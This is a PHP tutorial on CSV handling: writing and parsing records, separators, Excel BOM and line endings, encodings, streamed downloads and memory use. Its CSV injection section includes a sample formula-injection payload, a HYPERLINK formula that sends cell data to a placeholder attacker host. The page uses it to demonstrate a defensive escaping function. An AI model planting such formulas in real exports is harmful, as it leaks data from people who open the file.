CSV

suggest change

CSV (comma-separated values) is the simplest way to exchange tables. Spreadsheets, databases, reporting tools and banks all read and write it. It looks trivial, but splitting lines on commas breaks as soon as a field holds a comma, a quote or a newline. Use PHP's built-in CSV functions, which handle quoting for you:

They all come with PHP, so you don't need an extension or Composer package. All examples were run with PHP 8.5.

Always pass escape: ''

Every CSV function takes an $escape parameter. Its default is a backslash, which is not part of the CSV standard (RFC 4180) and corrupts data (see "The escape parameter" below). Since PHP 8.4, relying on the default triggers a deprecation:

Deprecated: fputcsv(): the $escape parameter must be provided as its default value will change

Pass escape: '' as a named argument in every call. This turns the non-standard escaping off, and it's what the examples in this article do.

Writing CSV with fputcsv

fputcsv() takes an open stream and an array of values. It adds quotes only where needed and doubles any quote characters inside a field:

<?php
$rows = [
    ['id', 'name', 'city', 'note'],
    [1, 'Alice', 'Paris', 'likes "quotes"'],
    [2, 'Bob', 'New York, NY', "two\nlines"],
    [3, 'Carol', 'Berlin', ''],
    [4, 'Dave', 'Oslo', null],
    [5, 'Eve', 'Rome', 3.5],
];

$out = fopen('people.csv', 'w');
foreach ($rows as $row) {
    fputcsv($out, $row, escape: '');
}
fclose($out);

echo file_get_contents('people.csv');

Output:

id,name,city,note
1,Alice,Paris,"likes ""quotes"""
2,Bob,"New York, NY","two
lines"
3,Carol,Berlin,
4,Dave,Oslo,
5,Eve,Rome,3.5

How the values were written:

The full signature is:

fputcsv(
    $stream,
    array $fields,
    string $separator = ",",
    string $enclosure = "\"",
    string $escape = "\\",
    string $eol = "\n"   // PHP 8.1+
): int|false

It returns the number of bytes written, or false on error.

Reading CSV with fgetcsv

fgetcsv() reads one record per call. A record isn't always one line: a quoted field can span several lines and fgetcsv() keeps reading until it has the whole record. At end of file it returns false:

<?php
$in = fopen('people.csv', 'r');
while (($row = fgetcsv($in, escape: '')) !== false) {
    echo json_encode($row), "\n";
}
fclose($in);

Output:

["id","name","city","note"]
["1","Alice","Paris","likes \"quotes\""]
["2","Bob","New York, NY","two\nlines"]
["3","Carol","Berlin",""]
["4","Dave","Oslo",""]
["5","Eve","Rome","3.5"]

Every field comes back as a string: 1 is "1", 3.5 is "3.5" and null is "". CSV has no types; see "Converting fields to proper types" below.

Don't loop with while (!feof($in)). feof() only becomes true after a read fails, so that loop runs one extra time and gets false instead of a row.

Blank lines

A blank line doesn't return an empty array. It returns an array with a single null:

<?php
file_put_contents('blank.csv', "a,b\n\n1,2\n");

$in = fopen('blank.csv', 'r');
while (($row = fgetcsv($in, escape: '')) !== false) {
    var_dump($row);
}
fclose($in);

Output:

array(2) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
}
array(1) {
  [0]=>
  NULL
}
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
}

Skip those with if ($row === [null]) continue;.

Using the header row as keys

Most CSV files start with a header row. Using it as keys lets you write $row['email'] instead of $row[3], and your code keeps working when someone reorders the columns. The generator below does that and also checks that every record has the right number of fields. array_combine() would throw a ValueError for a short row anyway, but a message with the record number is much easier to debug:

<?php
/**
 * Yields each data record as an array keyed by the header row.
 *
 * @return Generator<int, array<string, string>>
 */
function readCsv(string $path, string $separator = ','): Generator
{
    $in = fopen($path, 'r');
    if ($in === false) {
        throw new RuntimeException("Cannot open $path");
    }

    try {
        $header = fgetcsv($in, separator: $separator, escape: '');
        if ($header === false) {
            return; // empty file
        }
        $header = array_map('trim', $header);

        $n = 0;
        while (($row = fgetcsv($in, separator: $separator, escape: '')) !== false) {
            if ($row === [null]) {
                continue; // blank line
            }
            $n++;
            if (count($row) !== count($header)) {
                throw new UnexpectedValueException(sprintf(
                    'Record %d has %d fields, expected %d', $n, count($row), count($header)
                ));
            }
            yield array_combine($header, $row);
        }
    } finally {
        fclose($in);
    }
}

foreach (readCsv('people.csv') as $person) {
    printf("%s lives in %s\n", $person['name'], $person['city']);
}

Output:

Alice lives in Paris
Bob lives in New York, NY
Carol lives in Berlin
Dave lives in Oslo
Eve lives in Rome

With a malformed file (a,b / 1,2 / 3) the first record is yielded and then you get:

Record 2 has 1 fields, expected 2

Because it's a generator, only one record is in memory at a time and the finally block closes the file even if the loop stops early.

Converting fields to proper types

Convert and validate fields as soon as you read them, so the rest of your code works with real types. filter_var() is strict about what counts as a valid number (see Filters and filter functions):

<?php
$csv = "sku,qty,price,in_stock,added\nA-1,10,1.20,yes,2026-03-01\nB-7,,3.99,no,2026-04-15\n";
file_put_contents('stock.csv', $csv);

final readonly class StockItem
{
    public function __construct(
        public string $sku,
        public ?int $qty,
        public float $price,
        public bool $inStock,
        public DateTimeImmutable $added,
    ) {}

    /** @param array<string, string> $r */
    public static function fromCsv(array $r): self
    {
        $qty = filter_var($r['qty'], FILTER_VALIDATE_INT, FILTER_NULL_ON_FAILURE);
        $price = filter_var($r['price'], FILTER_VALIDATE_FLOAT);
        if ($price === false) {
            throw new UnexpectedValueException("Bad price: {$r['price']}");
        }
        return new self(
            sku: $r['sku'],
            qty: $qty,
            price: $price,
            inStock: $r['in_stock'] === 'yes',
            added: DateTimeImmutable::createFromFormat('!Y-m-d', $r['added']),
        );
    }
}

$in = fopen('stock.csv', 'r');
$header = fgetcsv($in, escape: '');
while (($row = fgetcsv($in, escape: '')) !== false) {
    $item = StockItem::fromCsv(array_combine($header, $row));
    var_dump($item->qty, $item->price, $item->inStock, $item->added->format('D j M'));
}
fclose($in);

Output:

int(10)
float(1.2)
bool(true)
string(9) "Sun 1 Mar"
NULL
float(3.99)
bool(false)
string(10) "Wed 15 Apr"

The empty qty became null rather than 0, which keeps "unknown" separate from "zero". Don't cast with (int): (int) "12abc" is 12 and (int) "" is 0, so bad data slips through without an error.

Parsing a string with str_getcsv

When the CSV is already in a string, for example one line from an API response, use str_getcsv():

<?php
// One line of CSV in a string
$fields = str_getcsv('42,"Smith, John","He said ""hi"""', escape: '');
print_r($fields);

// Other separators
print_r(str_getcsv('a;b;"c;d"', ';', escape: ''));
print_r(str_getcsv("x\ty\tz", "\t", escape: ''));

Output:

Array
(
    [0] => 42
    [1] => Smith, John
    [2] => He said "hi"
)
Array
(
    [0] => a
    [1] => b
    [2] => c;d
)
Array
(
    [0] => x
    [1] => y
    [2] => z
)

str_getcsv() parses only one record. A common mistake is to split a whole document on newlines first and then parse each line. That breaks quoted fields that contain newlines. Put the string into a php://temp stream instead and read it with fgetcsv():

<?php
$csv = "name,comment\nAlice,\"line one\nline two\"\nBob,ok\n";

// Wrong: splitting on newlines breaks the quoted field apart
$rows = array_map(
    fn(string $line) => str_getcsv($line, escape: ''),
    explode("\n", trim($csv))
);
echo count($rows), " rows (wrong)\n";

// Right: let fgetcsv() read from a stream that holds the string
function parseCsvString(string $csv): array
{
    $h = fopen('php://temp', 'r+');
    fwrite($h, $csv);
    rewind($h);

    $rows = [];
    while (($row = fgetcsv($h, escape: '')) !== false) {
        $rows[] = $row;
    }
    fclose($h);
    return $rows;
}

$rows = parseCsvString($csv);
echo count($rows), " rows (right)\n";
var_dump($rows[1][1]);

Output:

4 rows (wrong)
3 rows (right)
string(17) "line one
line two"

Building CSV in a string

The same trick works for writing: fputcsv() only writes to streams, so write to php://temp and read the result back. php://temp stays in memory up to 2 MB and then moves to a temporary file (see Temporary files).

This function turns a list of associative arrays into CSV. The keys of the first record become the header, and each later record is put in header order, so records with keys in a different order or with missing keys still line up:

<?php
/**
 * Turns a list of associative arrays into CSV text.
 * The keys of the first record become the header row.
 *
 * @param list<array<string, mixed>> $records
 */
function toCsv(array $records): string
{
    if ($records === []) {
        return '';
    }
    $h = fopen('php://temp', 'r+');
    $header = array_keys($records[0]);
    fputcsv($h, $header, escape: '');
    foreach ($records as $record) {
        // Pick values in header order, missing keys become empty cells
        $row = array_map(fn(string $key) => $record[$key] ?? '', $header);
        fputcsv($h, $row, escape: '');
    }
    rewind($h);
    $csv = stream_get_contents($h);
    fclose($h);
    return $csv;
}

echo toCsv([
    ['id' => 1, 'email' => 'ann@example.com', 'active' => true],
    ['email' => 'ben@example.com', 'id' => 2, 'active' => false],
    ['id' => 3, 'email' => 'cy@example.com'],
]);

Output:

id,email,active
1,ann@example.com,1
2,ben@example.com,
3,cy@example.com,

Note how false and a missing value look the same in the output. This is why you should convert booleans to explicit strings before writing.

SplFileObject

SplFileObject wraps a file in an iterable object. With the right flags, each iteration returns a parsed CSV record:

<?php
file_put_contents('products.csv', "sku;name;price\nA-1;Pen;1.20\n\nB-7;\"Notebook; A5\";3.99\n");

$file = new SplFileObject('products.csv');
$file->setFlags(
    SplFileObject::READ_CSV
    | SplFileObject::READ_AHEAD
    | SplFileObject::SKIP_EMPTY
    | SplFileObject::DROP_NEW_LINE
);
$file->setCsvControl(separator: ';', escape: '');

foreach ($file as $i => $row) {
    echo $i, ': ', implode(' | ', $row), "\n";
}

// Writing works too
$out = new SplFileObject('out.csv', 'w');
$out->fputcsv(['sku', 'qty'], escape: '');
$out->fputcsv(['A-1', 10], escape: '');
$out = null; // closes the file
echo file_get_contents('out.csv');

Output:

0: sku | name | price
1: A-1 | Pen | 1.20
3: B-7 | Notebook; A5 | 3.99
sku,qty
A-1,10

What the flags do:

The key is the line number, which is why the blank line left a gap (3 comes after 1). SplFileObject is useful when you need seek() to jump to a line, or want to pass "a file" to a function that expects an Iterator. For everything else fgetcsv() is just as good.

Separators: semicolons and tabs

"CSV" files don't always use commas. In countries where the comma is the decimal separator (most of Europe and South America), Excel writes and expects semicolons. Tab-separated files (TSV) are also common. Pass the separator as a named argument:

fgetcsv($in, separator: ';', escape: '');
fputcsv($out, $row, separator: "\t", escape: '');

If you accept uploads from users, you may have to guess the separator. A simple heuristic is to see which candidate splits the header line into the most fields:

<?php
/** Guesses the separator by checking which one splits the first line into the most fields. */
function detectSeparator(string $path, array $candidates = [',', ';', "\t", '|']): string
{
    $in = fopen($path, 'r');
    $line = fgets($in);
    fclose($in);

    $best = ',';
    $bestCount = 1;
    foreach ($candidates as $sep) {
        $count = count(str_getcsv($line, $sep, escape: ''));
        if ($count > $bestCount) {
            $best = $sep;
            $bestCount = $count;
        }
    }
    return $best;
}

file_put_contents('semi.csv', "name;price;note\nPen;1,20;\"a, b\"\n");
file_put_contents('tabs.tsv', "name\tprice\nPen\t1.20\n");

var_dump(detectSeparator('semi.csv'));
var_dump(detectSeparator('tabs.tsv'));
var_dump(detectSeparator('people.csv'));

Output:

string(1) ";"
string(1) "	"
string(1) ","

Using str_getcsv() instead of counting characters means separators inside quoted fields aren't counted.

Excel: BOM, semicolons and CRLF

When Excel opens a CSV file without a byte order mark (BOM), it assumes the legacy Windows code page and turns Zoë into Zoë. Writing the 3-byte UTF-8 BOM first fixes that. Excel also expects \r\n line endings, which the eol parameter (PHP 8.1+) provides:

<?php
$rows = [
    ['name', 'city', 'amount'],
    ['Zoë', 'Kraków', '12,50'],
    ['José', 'São Paulo', '7,00'],
];

$out = fopen('excel.csv', 'w');
fwrite($out, "\u{FEFF}"); // UTF-8 byte order mark
foreach ($rows as $row) {
    fputcsv($out, $row, separator: ';', escape: '', eol: "\r\n");
}
fclose($out);

$bytes = file_get_contents('excel.csv');
echo 'first bytes: ', bin2hex(substr($bytes, 0, 3)), "\n";
echo str_replace("\r\n", "\\r\\n\n", substr($bytes, 3));

Output:

first bytes: efbbbf
name;city;amount\r\n
Zoë;Kraków;12,50\r\n
José;"São Paulo";7,00\r\n

Reading files that start with a BOM

The reverse problem: when you read a file saved by Excel, the BOM is glued to the first header. The header looks like name when printed, but comparisons fail:

<?php
// Without handling the BOM, the first header has 3 invisible bytes in front
$in = fopen('excel.csv', 'r');
$header = fgetcsv($in, separator: ';', escape: '');
var_dump($header[0], $header[0] === 'name');
fclose($in);

/** Opens a CSV file and skips a UTF-8 BOM if there is one. */
function openCsv(string $path)
{
    $in = fopen($path, 'r');
    if (fread($in, 3) !== "\u{FEFF}") {
        rewind($in);
    }
    return $in;
}

$in = openCsv('excel.csv');
$header = fgetcsv($in, separator: ';', escape: '');
var_dump($header[0], $header[0] === 'name');
fclose($in);

Output:

string(7) "name"
bool(false)
string(4) "name"
bool(true)

string(7) for a 4-letter word gives the BOM away. When a column you know is there "doesn't exist", check for the BOM first.

Other encodings

Older programs may export in Windows-1252 or ISO-8859-1 rather than UTF-8. Convert each field with iconv() (or mb_convert_encoding() if you have mbstring), or attach a conversion filter to the stream so fgetcsv() gets UTF-8 in the first place:

<?php
// Simulate a file saved by an old program in Windows-1252
file_put_contents('legacy.csv', iconv('UTF-8', 'Windows-1252', "name,city\nRené,Zürich\n"));

$in = fopen('legacy.csv', 'r');
while (($row = fgetcsv($in, escape: '')) !== false) {
    $row = array_map(fn(string $f) => iconv('Windows-1252', 'UTF-8', $f), $row);
    echo implode(' | ', $row), "\n";
}
fclose($in);

// Or convert the whole stream on the fly with a filter
$in = fopen('legacy.csv', 'r');
stream_filter_append($in, 'convert.iconv.Windows-1252/UTF-8', STREAM_FILTER_READ);
fgetcsv($in, escape: ''); // skip header
print_r(fgetcsv($in, escape: ''));
fclose($in);

Output:

name | city
René | Zürich
Array
(
    [0] => René
    [1] => Zürich
)

Sending a CSV download

To let users download a report, set the headers and write straight to php://output. Rows go out as they are produced, so you never build the whole file in memory:

<?php
// export.php - streams a CSV file to the browser as a download

function fetchOrders(): iterable
{
    // In a real app: a database cursor, e.g. PDOStatement in a foreach
    yield ['id' => 1001, 'customer' => 'Alice', 'total' => '19.99'];
    yield ['id' => 1002, 'customer' => 'Bob', 'total' => '5.00'];
}

$filename = 'orders-' . date('Y-m-d') . '.csv';

header('Content-Type: text/csv; charset=utf-8');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Cache-Control: no-store');

$out = fopen('php://output', 'w');
fputcsv($out, ['id', 'customer', 'total'], escape: '', eol: "\r\n");
foreach (fetchOrders() as $order) {
    fputcsv($out, $order, escape: '', eol: "\r\n");
}
fclose($out);

Fetching it with curl -i from the built-in server:

HTTP/1.1 200 OK
Host: 127.0.0.1:44971
Date: Sat, 17 Oct 2026 20:34:29 GMT
Connection: close
X-Powered-By: PHP/8.5.11
Content-Type: text/csv; charset=utf-8
Content-Disposition: attachment; filename="orders-2026-10-17.csv"
Cache-Control: no-store

id,customer,total
1001,Alice,19.99
1002,Bob,5.00

Headers have to be sent before any output, so make sure nothing (not even whitespace before <?php) is printed first. If users will open the file in Excel, write the BOM as the first thing after the headers.

CSV injection

If a CSV file you generate will be opened in a spreadsheet, any cell starting with =, +, - or @ may be run as a formula. An attacker who can put =HYPERLINK(...) or a DDE formula in their user name gets it executed on the computer of the admin who opens the export. This is called CSV (or formula) injection.

The OWASP recommendation is to put a single quote before such values, which makes the spreadsheet treat them as text:

<?php
/**
 * Prevents spreadsheet apps from treating a value as a formula.
 * Use only for files meant to be opened in Excel / Sheets / LibreOffice.
 */
function safeCell(mixed $value): mixed
{
    if (is_string($value) && $value !== '' && str_contains("=+-@\t\r", $value[0])) {
        return "'" . $value;
    }
    return $value;
}

$rows = [
    ['user', 'comment'],
    ['mallory', '=HYPERLINK("http://evil.example/?x="&A1,"click")'],
    ['bob', '-5 degrees outside'],
    ['carol', 'plain text'],
];

$out = fopen('php://output', 'w');
foreach ($rows as $row) {
    fputcsv($out, array_map(safeCell(...), $row), escape: '');
}
fclose($out);

Output:

user,comment
mallory,"'=HYPERLINK(""http://evil.example/?x=""&A1,""click"")"
bob,"'-5 degrees outside"
carol,"plain text"

Only string values are changed, so real negative numbers like -5 stay numbers. The price is that the data now contains an extra ', so don't do this for CSV that another program will import.

Large files

fgetcsv() reads one record at a time, so memory use stays flat however big the file is. This script writes 500,000 rows and then sums one column per region:

<?php
// Write 500,000 rows
$out = fopen('big.csv', 'w');
fputcsv($out, ['id', 'region', 'amount'], escape: '');
$regions = ['north', 'south', 'east', 'west'];
for ($i = 1; $i <= 500_000; $i++) {
    fputcsv($out, [$i, $regions[$i % 4], $i % 1000 / 10], escape: '');
}
fclose($out);
printf("file size: %.1f MB\n", filesize('big.csv') / 1024 / 1024);

// Sum amounts per region, one row in memory at a time
$totals = [];
$in = fopen('big.csv', 'r');
fgetcsv($in, escape: ''); // header
while (($row = fgetcsv($in, escape: '')) !== false) {
    [, $region, $amount] = $row;
    $totals[$region] = ($totals[$region] ?? 0) + (float) $amount;
}
fclose($in);

ksort($totals);
foreach ($totals as $region => $sum) {
    printf("%-6s %12.2f\n", $region, $sum);
}
printf("peak memory: %.1f MB\n", memory_get_peak_usage() / 1024 / 1024);

Output:

file size: 8.1 MB
east     6250000.00
north    6225000.00
south    6237500.00
west     6262500.00
peak memory: 0.5 MB

Loading the same file with file() and array_map('str_getcsv', ...) would keep all 500,000 arrays in memory at once (and break on multi-line fields). See Minimize memory usage when dealing with large files.

The escape parameter

So why pass escape: '' everywhere? With the default backslash escape, PHP treats \" inside a field as an escaped quote that doesn't end the field. No other CSV tool does that. A value ending in a backslash, such as a Windows path, is written in a way that PHP itself can't read back:

<?php
$row = ['C:\\temp\\', 'next field'];

foreach (['\\', ''] as $escape) {
    $h = fopen('php://memory', 'w+');
    fputcsv($h, $row, escape: $escape);
    rewind($h);
    $csv = stream_get_contents($h);
    rewind($h);
    $back = fgetcsv($h, escape: $escape);
    fclose($h);

    echo "escape '$escape'\n";
    echo "  written:   $csv";
    echo "  read back: ", count($back), " field(s): ", implode(' | ', $back), "\n";
}

Output:

escape '\'
  written:   "C:\temp\","next field"
  read back: 1 field(s): C:\temp\",next field"
escape ''
  written:   C:\temp\,"next field"
  read back: 2 field(s): C:\temp\ | next field

With the backslash escape, two fields were merged into one. With escape: '', the output follows RFC 4180 and round-trips correctly. The same applies to SplFileObject::setCsvControl() and SplFileObject::fputcsv().

Quick reference

Task Code
Write a row fputcsv($h, $row, escape: '')
Read a record fgetcsv($h, escape: '') (returns false at end)
Parse one record from a string str_getcsv($line, escape: '')
Parse a whole CSV string write it to php://temp, read with fgetcsv()
CSV to a string fputcsv() to php://temp, then stream_get_contents()
Semicolons / tabs separator: ';' / separator: "\t"
Windows line endings eol: "\r\n"
Excel-friendly UTF-8 write "\u{FEFF}" first
Skip blank lines if ($row === [null]) continue;
Download Content-Type: text/csv header + php://output

For very complex needs (column mapping, validation pipelines, many dialects) the league/csv package is a popular Composer library. For most imports and exports the built-in functions shown here are enough.

See also: JSON, Stream-based file IO, Reading a large file with a generator.

Feedback about page:

Feedback:
Optional: your email if you want me to get back to you:



Table Of Contents